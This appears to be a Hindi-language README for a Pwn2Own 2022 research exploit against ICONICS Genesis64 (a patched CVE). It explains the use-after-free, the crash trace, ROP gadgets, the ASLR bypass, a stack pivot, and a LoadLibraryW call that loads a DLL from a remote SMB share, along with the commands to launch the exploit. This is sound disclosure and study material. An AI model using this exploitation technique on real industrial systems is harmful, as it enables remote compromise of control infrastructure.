0vercl0k/paracosmeParacosme is a zero-click remote memory corruption exploit that compromises ICONICS Genesis64 which was demonstrated successfully on stage during the Pwn2Own Miami 2022 competition.
Paracosme एक मेमोरी करप्शन एक्सप्लॉइट है जिसे मैंने ICONICS द्वारा निर्मित Genesis64 सुइट v10.97.1 को लक्षित करने के लिए लिखा था, ताकि रिमोट कोड निष्पादन प्राप्त किया जा सके।
यह एक्सप्लॉइट S4x22 Conference में आयोजित Pwn2Own 2022 Miami प्रतियोगिता के दौरान प्रदर्शित किया गया था। आप इसके बारे में Pwn2Own ICS 2022 Miami में प्रतिस्पर्धा: ICONICS Genesis64 में ज़ीरो-क्लिक रिमोट मेमोरी करप्शन का शोषण में पढ़ सकते हैं।
इस समस्या ने CVSS पर 9.8 स्कोर किया और इसे CVE-2022-33318 / ZDI-22-1041 निर्दिष्ट किया गया। इसे ठीक किया गया और इसे Genesis64 10.97.2 में ठीक किया गया। आप ICSA-22-202-04 एडवाइज़री के साथ-साथ ICONICS का ICONICS Suite सुरक्षा भेद्यताओं पर व्हाइटपेपर भी पढ़ सकते हैं।
आप एक्सप्लॉइट कोड को src/paracosme.py, क्रैश ट्रिगर करने / यह सत्यापित करने कि आप प्रभावित हैं या नहीं, के लिए PoC को src/paracosme-poc.py, और मशीन पर निष्पादित पेलोड को src/payload में पा सकते हैं।
यह जानने का सबसे अच्छा तरीका है कि आप प्रभावित हैं या नहीं, GenBroker64.exe के लिए Page Heap चालू करें, सेवा को पुनः आरंभ करें, GenBroker64.exe में एक डीबगर संलग्न करें, अपने सर्वर पर paracosme-poc.py चलाएँ और आपको नीचे जैसे क्रैश दिखने चाहिए:
क्रैश देखने के लिए आपको लक्ष्य प्रक्रिया में एक डीबगर संलग्न करना होगा, अन्यथा एप्लिकेशन इसे अनदेखा कर देता है।
यह एक्सप्लॉइट केवल Windows पर परीक्षण किया गया है, लेकिन Linux प्लेटफ़ॉर्म पर भी काम करना चाहिए:
impacket इंस्टॉल करें: pip3 install impacketsc config lanmanserver start=disabled से बंद करें और रिबूट करेंsmbserver.py के साथ एक smbserver प्रारंभ करें (impacket के उदाहरणों का हिस्सा): python src\smbserver.py -smb2support x binpython src\paracosme.py --target <ip> के साथ प्रारंभ करें
अधिक विवरण के लिए, कृपया Pwn2Own ICS 2022 Miami में प्रतिस्पर्धा: ICONICS Genesis64 में ज़ीरो-क्लिक रिमोट मेमोरी करप्शन का शोषण देखें।
Paracosme, GenBroker64 प्रक्रिया में पाई गई use-after-free समस्या का शोषण करके Windows 21H2 x64 सिस्टम पर रिमोट कोड निष्पादन प्राप्त करता है।
उच्च स्तर पर, GenBroker64 प्रक्रिया TCP पोर्ट 38080 पर सुनती है और क्लाइंट के साथ हैंडशेक हो जाने के बाद विभिन्न पैकेटों को डीसेरियलाइज़ करने में सक्षम होती है। मुझे जो समस्या मिली, वह नेटवर्क सॉकेट से VARIANT पढ़ने को संभालने वाले कोड में है। मूल रूप से, एक variant एक प्रकार और एक मान होता है। फ़ंक्शन पहली नज़र में अच्छी तरह से लिखा हुआ लगता है, और केवल कुछ प्रकारों को अनपैक करने का प्रयास करता है। यह ऐसा दिखता है:
bool CheckVariantType(VARTYPE VarType) {
if((VarType & 0x2FFF) != VarType) {
return false;
}
switch(VarType & 0xFFF) {
case VT_EMPTY:
case VT_NULL:
case VT_I2:
case VT_I4:
case VT_R4:
case VT_R8:
case VT_CY:
case VT_DATE:
case VT_BSTR:
case VT_ERROR:
case VT_BOOL:
case VT_VARIANT:
case VT_I1:
case VT_UI1:
case VT_UI2:
case VT_UI4:
case VT_I8:
case VT_UI8:
case VT_INT:
case VT_UINT:
case VT_HRESULT:
case VT_FILETIME:
return true;
break;
default:
return false;
}
}
size_t VariantTypeToSize(VARTYPE VarType) {
switch(VarType) {
case VT_I1: return 1;
case VT_UI2: return 2;
case VT_UI4:
case VT_INT:
case VT_UINT:
case VT_HRESULT:
return 4;
case VT_I8:
case VT_UI8:
case VT_FILETIME:
return 8;
default:
return 0;
}
}
void Utils::ReadVariant(tagVARIANT *Variant, Archive_t *Archive, int Level) {
TRY {
return ReadVariant_((CArchive *)Archive, (COleVariant *)Variant);
} CATCH_ALL(e) {
VariantClear(Variant);
}
}
HRESULT Utils::ReadVariant_(tagVARIANT *Variant, Archive_t *Archive, int Level) {
VARTYPE VarType = Archive.ReadUint16();
if((VarType & VT_ARRAY) != 0) {
// Special logic to unpack arrays..
return ..;
}
Size = VariantTypeToSize(VarType);
if (Size) {
Variant->vt = VarType;
return Archive.ReadInto(&Variant->decVal.8, Size);
}
if(!CheckVariantType(VarType)) {
// ...
throw Something();
}
return Archive >> Variant;
}
फ़ंक्शन स्वयं ऐरे अनपैकिंग को लागू करता है, साथ ही सरल variant प्रकारों को पढ़ना भी; लेकिन यदि उसे कुछ ऐसा मिलता है जो इन दोनों में से कोई नहीं है, तो वह archive इंस्टेंस के operator>> पर चला जाता है। यह archive इंस्टेंस Microsoft Foundation Class फ्रेमवर्क द्वारा प्रदान की गई एक वस्तु है, जो विभिन्न वस्तुओं के सीरियलाइज़ेशन और डीसेरियलाइज़ेशन को संभालता है। यह कोड वास्तव में ओपन-सोर्स है और आप इसे C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Tools\MSVC\14.29.30133\atlmfc\src\mfc\olevar.cpp में पा सकते हैं, लेकिन यह रहा:
CArchive& AFXAPI operator>>(CArchive& ar, COleVariant& varSrc) {
LPVARIANT pSrc = &varSrc;
// ...
switch(pSrc->vt) {
// ...
case VT_DISPATCH:
case VT_UNKNOWN: {
LPPERSISTSTREAM pPersistStream = NULL;
CArchiveStream stm(&ar);
CLSID clsid;
ar >> clsid.Data1;
ar >> clsid.Data2;
ar >> clsid.Data3;
ar.EnsureRead(&clsid.Data4[0], sizeof clsid.Data4);
SCODE sc = CoCreateInstance(clsid, NULL,
CLSCTX_ALL | CLSCTX_REMOTE_SERVER,
pSrc->vt == VT_UNKNOWN ? IID_IUnknown : IID_IDispatch,
(void**)&pSrc->punkVal);
if(sc == E_INVALIDARG) {
sc = CoCreateInstance(clsid, NULL,
CLSCTX_ALL & ~CLSCTX_REMOTE_SERVER,
pSrc->vt == VT_UNKNOWN ? IID_IUnknown : IID_IDispatch,
(void**)&pSrc->punkVal);
}
AfxCheckError(sc);
TRY {
sc = pSrc->punkVal->QueryInterface(
IID_IPersistStream, (void**)&pPersistStream);
if(FAILED(sc)) {
sc = pSrc->punkVal->QueryInterface(
IID_IPersistStreamInit, (void**)&pPersistStream);
}
AfxCheckError(sc);
AfxCheckError(pPersistStream->Load(&stm));
} CATCH_ALL(e) {
if(pPersistStream != NULL) {
pPersistStream->Release();
}
pSrc->punkVal->Release();
THROW_LAST();
}
END_CATCH_ALL
pPersistStream->Release();
}
return ar;
}
}
फ़ंक्शन अधिकतर नीरस है क्योंकि इसमें तुच्छ प्रकारों को अनपैक करने का तर्क भी है, लेकिन जिस चीज़ ने मेरा ध्यान खींचा वह VT_DISPATCH / VT_UNKNOWN था।
यह क्या है! आप एक मनमाना COM ऑब्जेक्ट क्लास ID भेज सकते हैं जो या तो IPersistStream या IPersistStreamInit लागू करता है, और यह ऑब्जेक्ट को आरंभ करने के लिए IPersistream::Load को आमंत्रित करके उसे लोड करेगा। हालाँकि यह आश्चर्यजनक और अजीब फीचर है, मुझे यह सुरक्षा दृष्टिकोण से वास्तव में दिलचस्प नहीं लगा, क्योंकि मुझे स्टॉक Windows 10 पर उपलब्ध किसी COM ऑब्जेक्ट में एक और बग खोजने की आवश्यकता होती।
अब, आइए नीचे दिए गए कोड पर करीब से नज़र डालें:
SCODE sc = CoCreateInstance(clsid, NULL,
CLSCTX_ALL | CLSCTX_REMOTE_SERVER,
pSrc->vt == VT_UNKNOWN ? IID_IUnknown : IID_IDispatch,
(void**)&pSrc->punkVal); <-------------- [[0]]
if(sc == E_INVALIDARG) {
sc = CoCreateInstance(clsid, NULL,
CLSCTX_ALL & ~CLSCTX_REMOTE_SERVER,
pSrc->vt == VT_UNKNOWN ? IID_IUnknown : IID_IDispatch,
(void**)&pSrc->punkVal);
}
AfxCheckError(sc);
TRY {
sc = pSrc->punkVal->QueryInterface(
IID_IPersistStream, (void**)&pPersistStream);
if(FAILED(sc)) {
sc = pSrc->punkVal->QueryInterface(
IID_IPersistStreamInit, (void**)&pPersistStream);
}
AfxCheckError(sc);
AfxCheckError(pPersistStream->Load(&stm));
} CATCH_ALL(e) {
if(pPersistStream != NULL) {
pPersistStream->Release();
}
pSrc->punkVal->Release();
THROW_LAST();
}
CoCreateInstance कॉल COM इंस्टेंस पॉइंटर को सीधे pSrc->punkVal में लिखती है, जो कई फ्रेम आगे किसी कॉलर में संग्रहीत परिणामी variant है। फिर, यदि IStreamPersist::Load कोई अपवाद ट्रिगर करता है, तो उसे पकड़ लिया जाता है और IUnknown तथा IPersistStream दोनों इंटरफेस पर IUnknown::Release कहा जाता है, जो COM ऑब्जेक्ट को मुक्त कर देगा और pSrc->punkVal को डैंगलिंग छोड़ देगा। दूसरा दिलचस्प बिंदु यह है कि ऐसा करने के बाद, कैच ब्लॉक अपवाद को फिर से फेंकता है, जो नीचे दिए गए कोड द्वारा पकड़ा जाता है:
void Utils::ReadVariant(tagVARIANT *Variant, Archive_t *Archive, int Level) {
TRY {
return ReadVariant_((CArchive *)Archive, (COleVariant *)Variant);
} CATCH_ALL(e) {
VariantClear(Variant);
}
}
इस चरण में variant पहले ही मुक्त किया जा चुका है, लेकिन इसका प्रकार और मान अद्यतन / बदला नहीं गया है, इसलिए यह VariantClear कॉल दूसरा IUnknown::Release ट्रिगर करता है, जो नीचे दिया गया क्रैश उत्पन्न करता है:
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
OLEAUT32!VarWeekdayName+0x22468:
00007ffa`e620c7f8 488b01 mov rax,qword ptr [rcx] ds:00000000`2e5a2fd0=????????????????
0:006> kp
# Child-SP RetAddr Call Site
00 00000000`093bad20 00007ffa`e620cb31 OLEAUT32!VarWeekdayName+0x22468
01 00000000`093bad50 00000001`4000c20a OLEAUT32!VariantClear+0x21
02 00000000`093bad80 00007ffa`ccfa10ea GenBroker64+0xc20a
03 00000000`093badb0 00007ffa`ccfa2ca6 VCRUNTIME140_1+0x10ea
04 00000000`093bade0 00007ffa`ccfa3ae5 VCRUNTIME140_1!_NLG_Return2+0x1b56
05 00000000`093baf10 00007ffa`ccfa2258 VCRUNTIME140_1!_NLG_Return2+0x2995
06 00000000`093baf40 00007ffa`ccfa40e9 VCRUNTIME140_1!_NLG_Return2+0x1108
07 00000000`093bafe0 00007ffa`e6ce121f VCRUNTIME140_1!_CxxFrameHandler4+0xa9
08 00000000`093bb050 00007ffa`e6c5d9c2 ntdll!_chkstk+0x19f
09 00000000`093bb080 00007ffa`ccfa3d82 ntdll!RtlUnwindEx+0x522
0a 00000000`093bb790 00007ffa`ccfa1635 VCRUNTIME140_1!_NLG_Return2+0x2c32
0b 00000000`093bb880 00007ffa`ccfa19e6 VCRUNTIME140_1!_NLG_Return2+0x4e5
0c 00000000`093bb920 00007ffa`ccfa232b VCRUNTIME140_1!_NLG_Return2+0x896
0d 00000000`093bbaf0 00007ffa`ccfa40e9 VCRUNTIME140_1!_NLG_Return2+0x11db
0e 00000000`093bbb90 00007ffa`e6ce119f VCRUNTIME140_1!_CxxFrameHandler4+0xa9
0f 00000000`093bbc00 00007ffa`e6caa229 ntdll!_chkstk+0x11f
10 00000000`093bbc30 00007ffa`e6cdfe0e ntdll!RtlRaiseException+0x399
11 00000000`093bc340 00007ffa`e439a839 ntdll!KiUserExceptionDispatcher+0x2e
12 00000000`093bd080 00007ffa`ccfa2753 KERNELBASE!RaiseException+0x69
13 00000000`093bd160 00007ffa`e6ce05e6 VCRUNTIME140_1!_NLG_Return2+0x1603
14 00000000`093bd240 00007ffa`ccc1ab24 ntdll!RtlCaptureContext+0x566
15 00000000`093bf980 00000001`4001c574 mfc140u+0x27ab24
16 00000000`093bfa20 00000001`40023241 GenBroker64+0x1c574
17 00000000`093bfae0 00000001`40025fdc GenBroker64+0x23241
18 00000000`093bfb40 00000001`4008afee GenBroker64+0x25fdc
19 00000000`093bfb80 00000001`4008a499 GenBroker64+0x8afee
1a 00000000`093bfc80 00000001`400858bd GenBroker64+0x8a499
1b 00000000`093bfda0 00000001`400860a9 GenBroker64+0x858bd
1c 00000000`093bfe20 00007ffa`e5187bd4 GenBroker64+0x860a9
1d 00000000`093bff30 00007ffa`e6cace71 KERNEL32!BaseThreadInitThunk+0x14
1e 00000000`093bff60 00000000`00000000 ntdll!RtlUserThreadStart+0x21
वाह, बहुत बढ़िया, हम ऊपर दिए गए को एक COM ऑब्जेक्ट को इंस्टैंशिएट करके ट्रिगर कर सकते हैं जो IPersistStream लागू करता है और जब Load आमंत्रित किया जाता है तो उसमें अपवाद उत्पन्न होता है। आप ट्रिगर कोड paracosme-poc.py में पा सकते हैं, जो लक्ष्य पर GenBroker64.exe प्रक्रिया को क्रैश कर देगा। आप GenBroker64.exe पर पेज हीप भी सक्षम कर सकते हैं ताकि तुरंत क्रैश मिल सके।
जब variant पर VariantClear कहा जाता है, तो यह उसे मुक्त करने के लिए Release विधि पर एक वर्चुअल कॉल भेजता है। चूँकि यह एक वर्चुअल कॉल है, फ़ंक्शन vtable पढ़ता है और एक निश्चित ऑफ़सेट पर फ़ंक्शन पॉइंटर लेकर उसे आमंत्रित करता है। ऐसा होने से पहले, हम थ्रेड को रेस करके ole32!CFileMoniker इंस्टेंस को पुनः प्राप्त करते हैं और उसे नियंत्रित डेटा से बदल देते हैं (RacerThread_t देखें)। परिणामस्वरूप, हम vtable पॉइंटर को नियंत्रित करते हैं और RIP को हाईजैक करने से एक इंस्ट्रक्शन दूर होते हैं। नीचे संबंधित असेंबली इंस्ट्रक्शन दिखाया गया है, जहाँ @rcx उस चंक की ओर इशारा करता है जिस पर हमारा पूर्ण नियंत्रण है:
0:011> u . l3
OLEAUT32!VariantClear+0x20b:
00007ffb`0df751cb mov rax,qword ptr [rcx]
00007ffb`0df751ce mov rax,qword ptr [rax+10h]
00007ffb`0df751d2 call qword ptr [00007ffb`0df82660]
0:011> u poi(00007ffb`0df82660)
OLEAUT32!SetErrorInfo+0xec0:
00007ffb`0deffd40 jmp rax
चूँकि हमारा पुनः प्राप्त चंक पर पूर्ण नियंत्रण है, हम @rax को नियंत्रित करते हैं। नियंत्रण प्रवाह को हाईजैक करने के लिए, हमें @rax को उस मान के पॉइंटर पर सेट करना होगा जिसके साथ हम @rip को हाईजैक करना चाहते हैं। यहाँ बड़ी समस्या ASLR है और हमारे पास कोई इन्फॉर्मेशन डिस्क्लोज़र नहीं है।
सौभाग्य से हमारे लिए, मॉड्यूल GenBroker64.exe में डायनेमिक बेस नहीं है, जिसका अर्थ है कि हम अपनी चेन शुरू करने के लिए एक दिलचस्प गैजेट की ओर इशारा करने वाला स्थान खोजने हेतु इसका उपयोग कर सकते हैं।
0:012> !dh genbroker64
File Type: EXECUTABLE IMAGE
FILE HEADER VALUES
8664 machine (X64)
7 number of sections
616D3B07 time date stamp Mon Oct 18 02:14:47 2021
0 file pointer to symbol table
0 number of symbols
F0 size of optional header
22 characteristics
Executable
App can handle >2gb addresses
OPTIONAL HEADER VALUES
High entropy VA supported
NX compatible
Terminal server aware
पहला गैजेट जो उपयोग किया गया है, वह गैजेट है जो हमें @rip को पूरी तरह से नियंत्रित करने की अनुमति देता है (बिना किसी इंडायरेक्शन के):
0:011> u poi(1400aed18)
00007ffb2137ffe0 sub rsp,38h
00007ffb2137ffe4 test rcx,rcx
00007ffb2137ffe7 je 00007ffb`21380015
00007ffb2137ffe9 cmp qword ptr [rcx+10h],0
00007ffb2137ffee jne 00007ffb`2137fff4
...
00007ffb2137fff4 and qword ptr [rsp+40h],0
00007ffb2137fffa mov rax,qword ptr [rcx+10h]
00007ffb2137fffe call qword ptr [mfc140u!__guard_dispatch_icall_fptr (00007ffb`21415b60)]
हम अगले गैजेट का पता उस चंक में ऑफ़सेट +0x10 पर रख सकते हैं जिसे हम पुनः प्राप्त करते हैं (@rcx द्वारा इंगित), जो बहुत बढ़िया है।
दूसरा गैजेट जिसका हम उपयोग करते हैं, स्टैक को उस पुनः प्राप्त हीप चंक पर पिवोट करता है जिस पर हमारा पूर्ण नियंत्रण है:
0:008> u 14005bd25
000000014005bd25 mov esp,ecx
000000014005bd27 cmp byte ptr [1400fe788],0
000000014005bd2e je 000000014005bebc
...
000000014005bebc lea r11,[rsp+60h]
000000014005bec1 mov rbx,qword ptr [r11+30h]
000000014005bec5 mov rbp,qword ptr [r11+38h]
000000014005bec9 mov rsi,qword ptr [r11+40h]
000000014005becd mov rsp,r11
000000014005bed0 pop r15
000000014005bed2 pop r14
000000014005bed4 pop r13
000000014005bed6 pop r12
000000014005bed8 pop rdi
000000014005bed9 ret
मज़ेदार बात यह है कि हमारे हीप चंक का पता (हमेशा?) ऐसे स्थान पर स्थित लगता है जो 32-बिट पूर्णांक में समा जाता है, और इसीलिए mov esp, ecx ठीक से काम करता है।
इस बिंदु पर हमारे पास ROP है, लेकिन हमारे पास बहुत अधिक जगह नहीं है, जो काफी निराशाजनक था। मैंने सितारों को संरेखित करने की कोशिश में काफी समय बिताया और अंततः गैजेट्स का एक ऐसा क्रम निकाला जो हमारे पेलोड को होस्ट करने वाली DLL फ़ाइल की ओर इशारा करते हुए दूरस्थ SMB पथ के साथ LoadLibraryW को आमंत्रित करता है। यदि आप चेन के विवरण में रुचि रखते हैं, तो paracosme.py@241 देखें।